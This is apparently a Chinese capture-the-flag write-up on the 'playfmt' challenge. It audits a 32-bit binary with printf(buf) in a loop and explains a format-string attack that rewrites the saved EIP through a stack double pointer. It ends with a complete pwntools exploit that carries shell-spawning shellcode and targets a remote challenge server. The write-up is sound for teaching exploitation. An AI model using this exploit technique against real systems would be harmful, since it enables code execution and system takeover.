hitcontraining_playfmt

0x00 文件信息

保护全都没开,是为所欲为的节奏。

$ file ./playfmt
./playfmt: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=38c67cd31046e505ee0b71aeb170232225f3e11b, not stripped

$ checksec ./playfmt
[*] '/mnt/hgfs/CTF/BUUCTF/Pwn/hitcontraining/hitcontraining_playfmt/playfmt'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

0x01 代码审计

主要函数就一个,每一次循环都向 bss 段上的 buf 中写入数据,然后再用 printf 函数打印出来。如果写入的数据是 “quit” 的话,则结束循环。

int do_fmt()
{
  int result; // eax

  while ( 1 )
  {
    read(0, buf, 0xC8u);                        //  
    result = strncmp(buf, "quit", 4u);
    if ( !result )
      break;
    printf(buf);
  }
  return result;
}

漏洞分析

程序存在格式化字符串漏洞,但是格式化字符串保存在 bss 段上。

经调试可以发现栈上 $sp+0x18 处存在一个指向栈上 $sp+0x28 处的二级指针。

az

于是可以通过格式化字符串先泄露出 $sp+0x28 处的值,通过计算可得当前栈帧 saved eip 的地址(以上图为例,为 0xffffcdac)。再通过 $sp+0x18 处的指针修改 $sp+0x28 处指针的指向,使其指向之前提到的 saved eip 处。最后再通过 $sp+0x28 处的指针修改 saved eip 的值,即可控制程序流。

因为程序的保护措施全都没开,于是可以在 bss 段上写入 shellcode,将程序流劫持至 shellcode 处,便可 get shell。

0x02 EXP

from pwn import *
context.log_level = 'debug'

if args.G:
    io = remote('node3.buuoj.cn', 29399)
elif args.D:
    io = gdb.debug('./playfmt')
else:
    io = process('./playfmt')

bss = 0x804A060
call_printf = 0x804854F
shellcode = "\xeb\x18\x5e\x31\xc0\x88\x46\x09\x89\x76\x0a" + \
                    "\x89\x46\x0e\xb0\x0b\x89\xf3\x8d\x4e\x0a\x8d" + \
                    "\x56\x0e\xcd\x80\xe8\xe3\xff\xff\xff\x2f" + \
                    "\x62\x69\x6e\x2f\x64\x61\x73\x68\x41\x42\x42" + \
                    "\x42\x42\x43\x43\x43\x43"
# gdb.attach(io)

io.sendlineafter('Magic echo Server', '%10$p')
io.recvuntil('0x')
leak = int(io.recv(8), 16)
success('leak: ' + hex(leak))
eip = leak - (0x38 - 0x1c)
info('eip: ' + hex(eip))

modify = eip & 0xFF
info('modify: ' + hex(modify))
payload = '%' + str(modify) + 'c' + '%6$hhn'
io.sendline(payload)

write = (bss + 64) & 0xFFFF
info('write:' + hex(write))
payload  = '%' + str(write) + 'c' + '%10$hn'
payload  = payload.ljust(64, 'a') + shellcode
io.sendline(payload)

io.sendline('quit')

# gdb.attach(io)

io.interactive()
2019-2020 @lukbash